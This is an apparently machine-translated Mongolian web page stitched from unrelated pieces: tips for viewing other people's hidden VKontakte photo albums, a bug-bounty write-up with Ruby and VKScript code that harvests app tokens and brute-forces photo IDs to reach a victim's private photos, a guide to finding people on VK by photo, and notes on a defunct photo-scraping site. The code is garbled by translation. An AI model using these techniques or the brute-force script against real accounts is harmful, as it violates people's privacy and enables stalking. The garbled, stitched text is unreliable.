Хэрэглэгчийн хувийн зургийг хайх систем. Эх кодоор дамжуулан харилцах дахь далд зургийг хэрхэн үзэх вэ

70 333 033 2

Ихэнхдээ та хувийн VK профайлын зургийг үзэх шаардлагатай болдог. Таны мэдэж байгаагаар ямар ч хэрэглэгч өөрийн профайлын нууцлалын түвшинг бие даан сонгох боломжтой байдаг тул бүхэл бүтэн цомог эсвэл бие даасан зургийг хаах нь хэдхэн товшилтоор хийгддэг. Та хаалттай зургуудыг үзэх боломжтой болж байна! Тодорхой заль мэх, "нүх" байдаг бөгөөд тэдгээрийн нэгийг бид өнөөдөр танд хэлэх болно.

Тэд бүгд хурдан хаагддаг гэдгийг санаарай, тиймээс энэ нь бусад аргуудын адил долоо хоног эсвэл сарын дараа хүчинтэй байх нь үнэн биш юм.

Танд хэрэгтэй болно:

Эх кодыг нээж байна

Эхлээд үзээрэй. Хэрэв цомгууд нээгдээгүй бол дараах байдлаар үргэлжлүүлнэ үү. Тиймээс бидний зургийг харахыг хүссэн хүнийхээ профайлыг нээнэ үү. Дараа нь бид энэ хуудасны эх кодыг нээх хэрэгтэй.

Үүнийг хийхийн тулд чөлөөт хэсэг дээр хулганы баруун товчийг дараад контекст цэснээс "Хуудасны эх кодыг харах", "Элементийн кодыг харах" гэх мэт зүйлийг олоорой. Хэрэв танд Google Chrome байгаа бол F12 товчлуурыг ашиглаж болно. Ингээд хуудасны эх кодыг энд оруулав. Дараа нь юу юм?

Шаардлагатай фрагментийг хайж байна

Ctrl+F товчлуурын хослолыг ашиглан хайлтын талбарыг нээгээд тэнд "цомгууд" гэсэн үгийг оруулна уу.

Хэд хэдэн үр дүн гарах болно, гэхдээ бидэнд дараа нь тоонууд хэрэгтэй (энэ нь профайлын ID). Дүрмээр бол энэ фрагмент нь хайлтын үр дүнд эхнээсээ гурав дахь нь байх болно. Олсон уу? Гайхалтай, Ctrl+C товчлуурын хослолыг ашиглан тэдгээрийг хуулна уу.

Хаягийн мөртэй ажиллах

Тиймээс бидэнд шаардлагатай кодын хэсэг байна. Дараа нь юу юм? Контакт дахь далд зургуудыг үзэхийн тулд шаардлагатай хуудас руу буцна уу (бидэнд эх код бүхий хуудас хэрэггүй болсон).

Хөтөчийн хаягийн мөрөнд бид vk.com/id##### гэх мэт холбоосыг харж байгаа бөгөөд энд #### нь хуудасны ID юм. Та найз нөхөд, мэддэг байх ёстой. Бид курсорыг хаягийн талбарын төгсгөлд байрлуулж, түүнд дараах тэмдэгтүүдийг оруулна: "?z=", үүний дараа бид хайж буй хуудасны эх кодоос фрагментийг хуулж ав.

Үүний үр дүнд хөтчийн хаягийн мөрөнд дараахь зүйлийг агуулсан байх ёстой: vk.com/id####?z=albums####, энд #### нь тухайн хүний ​​ID юм.

Бид Enter товчийг дарахад тэр хүний ​​бүх гэрэл зураг бидний өмнө нээгдэнэ.

Ийм энгийн аргаар та ВКонтакте дэх хаалттай цомогт байгаа зургуудыг үзэхээс гадна ВКонтакте найзууд эсвэл танил бус хэрэглэгчидээс хасагдсан хүмүүсийн цомгийн жагсаалтыг харах боломжтой.

Байнга асуудаг асуулт, хариулт

    VK хэрэглэгчийн хувийн цомгийг утсаар хэрхэн үзэх вэ?

    Үзэх заавар нь компьютерээс үзэхтэй ижил байна.

    ВКонтакте-ийн далд боломжууд юу вэ?

    1. Хэрэв та "Тохиргоо" хэсэгт очоод "Ерөнхий" табын хэлийг хувьсгалаас өмнөх эсвэл Зөвлөлтийн хэлээр соливол VKontakte интерфейс бага зэрэг өөрчлөгдөнө.
    2. Хэрэв та өөрийнхөө тухай зарим мэдээллийг хувийн хуудсандаа хоосон байлгахыг хүсвэл ийм талбарт код оруулна уу.
    3. Та "Ажлын газар" баганад ВКонтакте-ийн аль ч бүлэгт идэвхтэй холбоос хийж болно. Үүнийг хийхийн тулд "Засварлах" хэсэгт очоод "Карьер" табыг сонгоод "Ажлын газар" хэсэгт гишүүн болсон нийгэмлэгийнхээ нэрийг бичнэ үү.
    4. "Тохиргоо" хэсэгт id-г богино, мартагдашгүй хаяг болгон өөрчилж болно.

    Харилцагчид дахь далд зургийг үзэх ямар үйлчилгээ байдаг вэ?

    Та түүний тэмдэглэгдсэн хүний ​​зургийг олж, дараа нь хурдан харах хэсэгт очоод зургийг гүйлгэх хэрэгтэй. Тэдэнд тогтмол хандах нь хаалттай байгаа хэдий ч та тэдгээрийг үзэх боломжтой. Техникийн үйлчилгээ одоохондоо энэ "нүх"-ийг арилгах боломжгүй байна.

    Хувийн VK дансыг хэрхэн үзэх вэ?

    Хувийн профайлыг үзэхийн тулд танд хэрэгтэй:
    1. Профайл ID-г олоорой. "Найзуудын NAME" дээр хулганаа ав. Холбоосыг хуулна уу.
    2. *[Төслийн удирдлагын шийдвэрээр хаагдсан холбоос].
    3. "id="-ийн дараах тоонууд нь профайлын ID юм.
    Бид эдгээр тоонуудыг хуулж, шаардлагатай холбоосууд руу оруулна.

    ВКонтакте дээр хэн зураг үзэх боломжтой вэ?

    Таны зурагт хандах эрх олгосон хүнээс хамаарна.

    Холбоо барих дээрх бүх зургийг хэрхэн харах вэ?

    Энэ мэдээллийг нийтлэлд тайлбарласан болно.

    ВКонтакте дахь бүлгийн зургийг хэрхэн үзэх вэ?

    Өөрийн сонирхолд нийцэх бүлэг эсвэл хуудсыг олоод "Нийгэмлэгүүд" хайлтын талбарын яг доор байгаа сонголтыг сонгоно уу. Дараа нь бага зэрэг баруун талд "Нийгмийн төрөл" (ямар ч, бүлэг, хуудас, уулзалтын хажууд байгаа нүдийг чагтална уу) гарч ирэх ба хайлтыг дарна уу. Та өөрт тохирсон бүлгүүдийг сонгох боломжтой бүлгүүдийн жагсаалт нээгдэнэ. Хэрэв бүлэг нээлттэй бол та түүний бүх агуулгыг хялбархан үзэх боломжтой: аудио, видео, зураг, хэлэлцүүлэг.
    Хэрэв та хаалттай бүлгийн хуудсанд байгаа бол зургийн доор баруун дээд буланд анхаарлаа хандуулаарай. Энэ нь: "Захиалга" (хуудас руу) эсвэл "Өргөдөл гаргах" (бүлэгт).
    Таны өргөдлийг группын админууд хянаж байгаа тул түр хүлээнэ үү. Хэрэв тэд зөвшөөрвөл бүлэг таны хуудсан дээрх жагсаалтад гарч ирнэ. Та одоо бүх бүлгийн агуулгыг үзэх боломжтой.

tl;dr

VK-ийн хавчуургад эмзэг байдал илэрсэн бөгөөд энэ нь дурын хэрэглэгч/бүлгийн хувийн мессеж, цомгоос хувийн зураг руу шууд линк авах боломжтой болсон. Хэрэглэгчийн зургийг тодорхой хугацаанд эрэмбэлсэн скрипт бичсэн бөгөөд дараа нь энэ эмзэг байдлаас болж зураг руу шууд холбоосыг хүлээн авсан. Товчхондоо та өчигдрийн бүх зургийг 1 минутанд, өнгөрсөн долоо хоногт оруулсан бүх зургийг 7 минутад, өнгөрсөн сард 20 минутад, өнгөрсөн жилийн бүх зургийг 2 цагийн дотор авах боломжтой. Одоо эмзэг байдлыг зассан. VKontakte-ийн захиргаа 10 мянган санал өгсөн.


Энэ түүх надад ВКонтакте дээр хувийн мессежээр зураг илгээгдсэнээр эхэлсэн. Ихэвчлэн ямар нэг зүйл чухал бол би үүнийг үүлэн дээр байршуулдаг, гэхдээ миний хувьд энэ шаардлагагүй байсан тул би VKontakte хавчуургын функцийг ашиглахаар шийдсэн.

Энэ функцын талаар товч дурдвал: хэрэглэгчийн таалагдсан бүх зүйлийг хавчуургад нэмсэн; Хэрэглэгчийн холбоос болон дотоод ВКонтакте холбоосыг гараар нэмэх функц бас байдаг. Сүүлийн цэг нь надад маш сонирхолтой санагдсан, учир нь би зураг руу линк нэмсний дараа түүний урьдчилж харах болон нэмсэн объектын төрлийн текстийг харсан:

Холбоосыг нэмэх үед сервер үүнийг задлан шинжилж, энэ нь ямар байгууллагатай холбоотой болохыг олж мэдэхийг оролдож, мэдээллийн сангаас энэ объектын талаарх мэдээллийг авдаг. Ихэнхдээ ийм төрлийн функцийг олон нөхцөлтэйгээр бичихэд хөгжүүлэгч ямар нэг зүйлийг мартах магадлал маш өндөр байдаг. Тиймээс би үүнийг өнгөрөөх боломжгүй байсан тул бага зэрэг туршилт хийхэд хэдэн минут зарцуулахаар шийдсэн.

Үүний үр дүнд би ямар нэг зүйлийг олж чадсан. Харагдах боломжгүй зураг, тэмдэглэл, видеоны холбоосыг оруулснаар та тухайн объектын талаар бага зэрэг хувийн мэдээлэл авах боломжтой. Гэрэл зураг, видеоны хувьд энэ нь жижиг (150x150) урьдчилан харах бөгөөд гарчиг нь хувийн тэмдэглэлд харагдахад хэцүү байдаг; API аргаар fave.getLinksЗургийн холбоосыг авах боломжтой байсан ч хэмжээ нь хэтэрхий жижиг (75px ба 130px) байсан. Тиймээс, үндсэндээ ноцтой зүйл байхгүй.

Би сайтын гар утасны хувилбар руу орж бүх зүйл ердийн хувилбартай адил харагдаж байгаа эсэхийг шалгахаар шийдсэн. Хуудасны кодыг хараад би үүнийг харсан:

Тийм ээ! Аттрибутын утгад data-src_bigанхны зураг руу шууд холбоос байсан!

Тиймээс хаана байршуулсан, нууцлалын ямар тохиргоотой байгаагаас үл хамааран ВКонтакте дээрх дурын зураг руу шууд холбоос авах боломжтой болсон. Энэ нь хувийн мессежийн зураг эсвэл аль ч хэрэглэгч/бүлгийн хувийн цомгийн зураг байж болно.

Би энд зогсоод хөгжүүлэгчид рүү бичиж болох юм шиг санагдаж байсан ч энэ эмзэг байдлыг ашигласнаар хэрэглэгчийн бүх (эсвэл тодорхой хугацаанд татаж авсан) зураг руу нэвтрэх боломжтой юу гэж бодсон. Энд байгаа гол асуудал бол таны ойлгож байгаагаар маягтын хувийн зургийн холбоос нь үргэлж мэдэгддэггүй байсан явдал юм зурагXXXXXX_XXXXXXXXXхавчуурга дээрээ нэмэх. Зургийн id-ээр нь хайчих юмсан гэсэн бодол орж ирсэн ч яагаад ч юм галзуу гэж шууд татгалзсан. Би API дахь гэрэл зурагтай холбоотой аргуудыг шалгаж, програм нь цомогтой хэрхэн ажилладагийг үзсэн боловч хэрэглэгчийн бүх хувийн зургийн ID бүхий жагсаалтыг авахад тус болох ямар ч алдагдлыг олж чадсангүй. Би энэ санаагаа орхих гэж байсан ч зурагтай линкийг дахин хараад, хэтрүүлэх нь зөв санаа гэдгийг гэнэт ойлгосон.

VK дээр зураг хэрхэн ажилладаг

Та яаж солих вэ, зургийн холбоос зураг52708106_359542386хоёр хэсгээс бүрдэнэ: (хэрэглэгчийн дугаар)_(зарим хачин тоо). Хоёрдахь хэсэг хэрхэн үүсдэг вэ?

Харамсалтай нь, хоёр цаг туршсан ч би үүнийг ойлгоогүй. 2012 онд HighLoad++ дээр Олег Илларионов зураг хэрхэн хадгалах, хэвтээ хуваах, байршуулах серверийг санамсаргүй сонгох талаар хэдэн үг хэлсэн боловч энэ мэдээлэл надад юу ч өгсөнгүй, учир нь серверийн id болон серверийн хооронд ямар ч холбоо байхгүй. зургийн ID. Глобал тоолуур байгаа нь ойлгомжтой, гэхдээ өөр логик байдаг... Яагаад гэвэл хоёр дахь тоо нь энгийн автомат өсөлтийг ашиглан үүсгэсэн бол зургийн ID-н үнэ аль хэдийн асар их утгад хүрэх байсан. (Жишээ нь, Facebook-ийн хувьд энэ нь одоогоор ~ 700 их наяд байна), харин Вконтакте-ийн хувьд энэ үнэ ердөө ~ 400 сая байна (хэдийгээр статистик мэдээллээс харахад, өдөр бүрхэрэглэгчид 30 сая гаруй зураг байршуулдаг). Тэдгээр. Энэ үзүүлэлт нь өвөрмөц биш, гэхдээ нэгэн зэрэг санамсаргүй биш гэдэг нь тодорхой байна. Би "хуучин" хэрэглэгчдийн гэрэл зургийг уншсан скрипт бичиж, хүлээн авсан өгөгдлүүдийг ашиглан энэ тоо тус бүрдээ хэр их өөрчлөгдсөнийг харуулсан график хийсэн. жил:

Зарим хүчин зүйлээс (серверүүдийн тоо эсвэл шинэ логик уу?) хамааран утгууд өөрчлөгдөж байгааг харж болно. Гэхдээ гол зүйл бол тэдгээр нь хангалттай бага (ялангуяа сүүлийн 2-3 жилийн хугацаанд) бөгөөд хүссэн хугацааны id мужийг тооцоолоход маш хялбар байдаг. Өөрөөр хэлбэл, хэрэглэгчийн зураг руу шууд холбоосыг олж мэдэхийн тулд, жишээ нь, өнгөрсөн жилээс та ердөө 30 сая (_320000000-аас _350000000 хүртэл) өөр өөр хувилбаруудыг хавчуурга хийхийг оролдох хэрэгтэй! Доор би үүнийг хэдхэн минутын дотор хийх боломжийг олгосон харгис хүчний техникийг тайлбарласан.

Гэрэл зургуудыг дамжуулж байна

Та энэ бүгдийг интерфэйсээр дамжуулан гараар нэмж эсвэл хавчуурга руу нэг холбоос нэмсэн скрипт бичиж болно, гэхдээ энэ нь уйтгартай бөгөөд цаг хугацаа их шаарддаг. Энэ тохиолдолд хайлтын хурд секундэд 3 хавчуурга байх болно, учир нь Vkontakte сервер рүү секундэд гурваас дээш хүсэлт илгээх энэ нь хориотой.

Хайлтыг хурдасгах x25

3 хүсэлтийн хязгаарыг бага зэрэг даван туулахын тулд би энэ аргыг ашиглахаар шийдсэн гүйцэтгэх. Энэ аргын нэг дуудлагад API аргууд руу 25 дуудлага хийх боломжтой.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var QurbanId = Args.id; var link = "http://vk.com/photo" + хохирогчийн дугаар + "_"; while(эхлэх != төгсгөл) ( API.fave.addLink(( "холбоос": холбоос + эхлэх )); эхлэх = эхлэх + 1; );
Тиймээс бид харгис хүчний хурдыг 3*25 хавчуурга/сек хүртэл нэмэгдүүлж чадсан. Өнгөрсөн нэг жилийн хугацаанд гэрэл зургуудыг ангилахад удаан хугацаа шаардагдах байсан ч богино хугацаанд энэ ангилах арга нь аль хэдийн сайн байсан.

Бид хайлтыг хурдасгадаг x25 * секундэд параллель хүсэлтийн тоо

Хүсэлтийн тоо/сек-ийн хязгаар нь бүх хэрэглэгчдэд биш, харин програм тус бүрд тус тусад нь хамаарна. Тиймээс олон хүсэлтийг зэрэгцүүлэн илгээхэд юу ч саад болохгүй, гэхдээ нэгэн зэрэг өөр өөр програмуудын жетон ашиглах.

Эхлээд бид шаардлагатай тооны програмуудыг олох (эсвэл үүсгэх) хэрэгтэй болсон. Өгөгдсөн хүрээний програмын танигчаас бие даасан програмуудыг хайдаг скрипт бичсэн:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).тус бүр |app_id| хариу = нээлттэй("https://api.vk.com/method/apps.get?app_id=#(app_id)").унших програм = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Хайлтыг хурдасгахын тулд програмуудыг хэрэглэгчдийн тоогоор сонгох боломжтой.

Гэхдээ би үүнд санаа зовохгүй байхаар шийдсэн.

За, програмууд олдлоо, одоо тэд манай хэрэглэгчийн өгөгдөлд зөвшөөрөл өгч, жетон хүлээн авах шаардлагатай байна. Зөвшөөрөл авахын тулд бид Implicit Flow механизмыг ашиглах шаардлагатай болсон. Би OAuth харилцах цонхноос зөвшөөрлийн URL-г задлан шинжилж, дахин чиглүүлэлтийн дараа токеныг гаргах шаардлагатай болсон. Энэ анги нь ажиллахын тулд күүки шаарддаг. х,л(login.vk.com) болон ремиксид(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url =(oauth_page(app_id)) redirect_url = задлах(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Олдсон програмын тоо нь зэрэгцээ хүсэлтийн тоотой тэнцүү байна. Энэ бүх зүйлийг зэрэгцүүлэхийн тулд бусад ажилд өөрийгөө нотолсон Typhoeus эрдэнийн чулууг ашиглахаар шийдсэн. Үр дүн нь иймэрхүү жижиг харгис хүч юм:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "өнөөдөр" => 366300000..366500000, "өчигдөр" => 366050000..366300000, "одоогийн_сар" => 36500000000000000000000000 600000 00..365000000, "одоогийн_жил" = > 350000000..366500000, "өнгөрсөн_жил" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD = PHOTOS_ID_BY_PERIOD:y => 320000000..350000000 ) tokensIterator = 0 (@period).алхам(25) хийх |photo_id| url = "https://api.vk.com/method/execute?access_token=#(жетон)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run бол tokensIterator.zero? hydra.queued_requests.count.zero биш л бол hydra.run-ийг дуусгах уу? vkscript-н хувийн тодорхойлолтыг дуусгах(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Харгис хүчийг улам хурдасгахын тулд хариуд нь шаардлагагүй биеийг зайлуулах оролдлого байсан боловч ТОЛГОЙВКонтакте серверийн хүсэлт алдаа буцаана 501 Хэрэгжээгүй.

Скриптийн эцсийн хувилбар дараах байдалтай байна.

"nokogiri" шаардлагатай "open-uri" шаардлагатай "typhoeus" шаардлагатай "json" шаардлагатай "./standalone_apps_finder" шаардлагатай "./photos_bruteforcer" шаардлагатай "./authenticator" шаардлагатай bruteforcer = PhotosBruteforcer.new(wictim_id: ARGV, хугацаа: apps_finder = StandaloneAppsFinder.new(д: 4800000..4800500) apps_finder.search # p,l - login.vk.com сайтын күүки # remixsid - vk.com-ын күүки authenticator = Authenticator.new("l=;" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Хөтөлбөрийг ажиллуулсны дараа хавчуурга нь тухайн хугацаанд хэрэглэгчийн бүх зургийг агуулж байсан. VKontakte-ийн гар утасны хувилбар руу очиж, хөтчийн консолыг нээж, шууд холбоосыг татаж аваад, зургуудыг анхны хэмжээгээр нь үзэх л үлдлээ.

Үр дүн

Ерөнхийдөө энэ бүхэн таны интернет холболт, прокси серверийн хурд, Вконтакте серверийн саатал, процессорын хүч болон бусад олон хүчин зүйлээс хамаарна. Дээрх скриптийг өөрийн дансанд туршиж үзээд би дараах тоонуудыг авсан (жетон хүлээн авахад зарцуулсан цагийг тооцохгүйгээр):

Хүснэгтэд тодорхой хугацааны туршид зургийн ID-г туршиж үзэхэд шаардагдах дундаж хугацааг харуулав. Энэ бүхнийг 10-20 удаа хурдасгаж болох байсан гэдэгт би итгэлтэй байна. Жишээлбэл, бүдүүлэг хүчний скрипт дээр бүх хүсэлт, тэдгээрийн хоорондох ердийн синхрончлолын нэг том дараалал үүсгэ. Миний хэрэгжилтийн хувьд хугацаа хэтэрсэн нэг хүсэлт нь бүх үйл явцыг удаашруулна. Ерөнхийдөө та EC2 дээр хэдхэн тохиолдол худалдаж аваад нэг цагийн дотор ямар ч хэрэглэгчийн бүх зургийг авах боломжтой. Гэхдээ би аль хэдийн унтмаар байсан.

Ерөнхийдөө халдагч 5 цаг эсвэл бүтэн өдрийн турш үүнд хэр их цаг зарцуулах нь хамаагүй, учир нь тэр ямар нэг байдлаар хувийн зургуудын холбоосыг авах болно. Хувийн мэдээлэлд хязгаарлагдмал хугацаанд найдвартай нэвтрэх чадвар нь энэхүү эмзэг байдлаас үүдэлтэй гол аюул юм.

Эмзэг байдлын талаар мэдээлэх

Эхлээд тайланг тусламжийн үйлчилгээ рүү илгээсэн боловч "баярлалаа, бид үүнийг ямар нэгэн байдлаар засах болно ..." гэх мэт хариу өгч, долоо хоног хүлээсний дараа би гунигтай санагдсан. Хөгжүүлэгчидтэй шууд холбогдоход тусалсан Bo0oM-д маш их баярлалаа. Үүний дараа алдаанууд хэдхэн цагийн дотор хаагдсан бөгөөд хэдхэн хоногийн дараа захиргаа миний данс руу 10к-ийн шагналыг шилжүүлсэн.

Өнөөдөр бид эрхэм уншигчиддаа, ВК-д байдаг нэг ер бусын шинж чанарын талаар ярих болно - ижил төстэй зургийг хайж олох үед та өөрийн профайл дээрээ ижил зураг байршуулсан хэрэглэгчдийг олох боломжтой.

Энэ яагаад хэрэгтэй вэ гэж та асууж байна уу? Үүнд хоёр үндсэн шалтгаан бий.

  • Эхлээд. Ижил зургуудыг хайснаар та өөрийн зургийг ашиглаж байгаа хүнийг үргэлж олох (эсвэл олохгүй) боломжтой. Өөрөөр хэлбэл, та өөрийн клоныг илрүүлэх боломжтой болно.
  • Хоёр дахь шалтгаан. Та хүн олох хэрэгтэй гэж бодъё, гэхдээ танд зөвхөн түүний гэрэл зураг байна. Үүний тусламжтайгаар та VK дээрх зураг хайлтыг ашиглаж болох бөгөөд магадгүй та хайж буй хүнээ олох болно.

Зургийн хайлтын олон үйлчилгээ байдаг гэдгийг тэмдэглэх нь зүйтэй, жишээлбэл, Google-д ийм үйлчилгээ байдаг, гэхдээ энэ тохиолдолд хайлтыг бүхэл бүтэн интернетээр хийдэггүй, харин зөвхөн ВКонтакте дээр хийдэг.

Зургаар хэрэглэгч хайж байна

Хайж эхэлцгээе. Бид клон эсвэл тодорхой зураг байршуулсан хэрэглэгчдийг олох хэрэгтэй гэж бодъё.

Эхний алхам бол бидний хайж буй зургийг нээх явдал юм. Хэрэв таны зургийн цомогт оруулаагүй бол татаж аваарай.

Зураг нээх, жишээ нь:

Бид хөтчийн хаягийн мөрийг хардаг. Та иймэрхүү хаягийг харах ёстой: https://vk.com/photo********_384******. Оддын дор зураг********Таных нуугдаж байна, мөн тоонууд 384****** , доогуур зураасны дараа байгаа нь зургийн дугаар юм. Энэ хаягийг хуулж ав, гэхдээ https://vk.com/ байхгүй бол та амжилтанд хүрэх ёстой зураг********_384********.

Табыг хааж эсвэл нээлттэй орхиод шинийг нээгээд VK хуудас руу ороод цэснээс "Миний мэдээ" хэсгийг сонгоно уу. Та мэдээний хангамжийг харах болно:

Хэрэв "Feed" дэд хэсгийн хажууд "Зураг" байгаа бол энэ алхамыг алгасна уу. Хэрэв зүйл байхгүй бол загалмай дээр товшоод "Зураг" гэсэн зүйлийг нэмнэ үү.

"Зураг" дээр дарна уу. "Зургаар хайх" хайлтын талбар гарч ирнэ.

Бид нэг үгийг мөрөнд бичдэг хуулбар:мөн бидний өмнө нь хуулсан зураг руу холбоос нэмнэ үү, өөрөөр хэлбэл та дараах зүйлийг авах ёстой. хуулбар:зураг********_384********. Од тэмдэг нь зүгээр л жишээ гэдгийг анхаарна уу, доор нь зургийн id болон серийн дугаар байна! Жишээлбэл, хэрэв бид хайж олохын тулд Павел Дуровын тодорхой зургийг авбал мөрөнд бид бичих хэрэгтэй, жишээлбэл: хуулбар: зураг1_327778612, энд photo1 нь хэрэглэгчийн ID (энэ тохиолдолд Durova), 327778612 нь зургийн серийн дугаар юм. Дараа нь Enter товчийг дарна уу.

Манай тохиолдолд бид 7 ижил гэрэл зургийг илрүүлж чадсан.

Хэрэв та тус бүр дээр дарвал тухайн зураг аль хэрэглэгч эсвэл олон нийтэд байршуулсныг харах боломжтой. Магадгүй, хайлт нь зөвхөн олон нийтэд нээлттэй байгаа зургууд дээр хийгддэг. Бид үзэхийг хориглосон ямар ч зургийг олж чадсангүй.

VK дээрх хувийн гэрэл зургийн асар том цуглуулга (100 сая орчим). Энэхүү үйлчилгээ нь нийгмийн сүлжээний бүх хэрэглэгчдийн зургийг цуглуулдаг. сүлжээг нэг директорт хийнэ.

Тодорхой хэрэглэгчийн зургийг олоход хялбар байдаг - зүгээр л оруулна уу. Гэхдээ үүнийг арилгахад хэцүү, хэрэв та бүтээгчид рүү имэйлээр бичвэл боломж бага, харин хандив өгвөл боломж нэмэгддэг.

Малын агуулах ВК дээр хэрхэн зураг цуглуулдаг вэ? Энэ нь маш энгийн: үйлчилгээ нь бүх хэрэглэгчдийн зургийг онлайнаар цуглуулгад автоматаар байршуулдаг. Та өөрийнхөө зургийг хаана, нийгэм, профайл дээр нийтлэх нь хамаагүй. Хэдхэн минутын дараа зураг устсан ч үхрийн станцад аль хэдийнээ байх болно.

Тиймээс сэтгэл хангалуун бус олон хэрэглэгчид Роскомнадзор руу хандсан нь хувь нэмэр оруулсан малын станцыг хаасанОХУ-ын нутаг дэвсгэр дээр. Блоклохыг тойрч гарах боломжгүй.

Хэрэглэгчийн хувийн мэдээллийг цуглуулах, хадгалахыг хориглоно. Хэдийгээр хэрэглэгчид өөрсдөө зургаа олон нийтэд нийтэлдэг.

Одоогын хувьд сайт ажиллахгүй байнапрокси серверүүдтэй ч гэсэн. Эзэд нь хаагдсаны дараа тэр даруй бизнесээ орхисон. Тиймээс та тайван унтаж, хэн нэгэн таны хувийн зургийг харах болно гэж айхгүй байх болно.

Скотобазагийн аналогууд

2018 онд"Шатаах" гэх мэт өөр өөр аналогууд байсан боловч тэд бүгд ажиллахгүй байна, учир нь ВКонтакте хөгжүүлэгчид ботуудаас хувийн зургийг хулгайлахыг хориглосон скриптүүдийг өөрчилсөн.

Анхаар:Интернет нь үхрийн фермийн "аналогууд" -аар дүүрэн боловч тэдгээр нь ажиллахгүй төдийгүй бас шалтгаан болдог. данс хакердах! Хэрэв та ийм сайтуудтай тааралдвал ямар ч тохиолдолд VKontakte-ээс өгөгдөл оруулахгүй байх. Халдагчид акаунт руу нэвтэрч, нэвтрэх боломжтой болно.

Мал аж ахуйн ферм, түүнтэй адилтгах үйлчилгээний үе өнгөрсөн. Одоо дотно, хувийн гэрэл зургийг хадгалах, түгээхийг хориглосон. Хуулиа дагаж мөрдөхгүй бол шийтгэл нь дагадаг.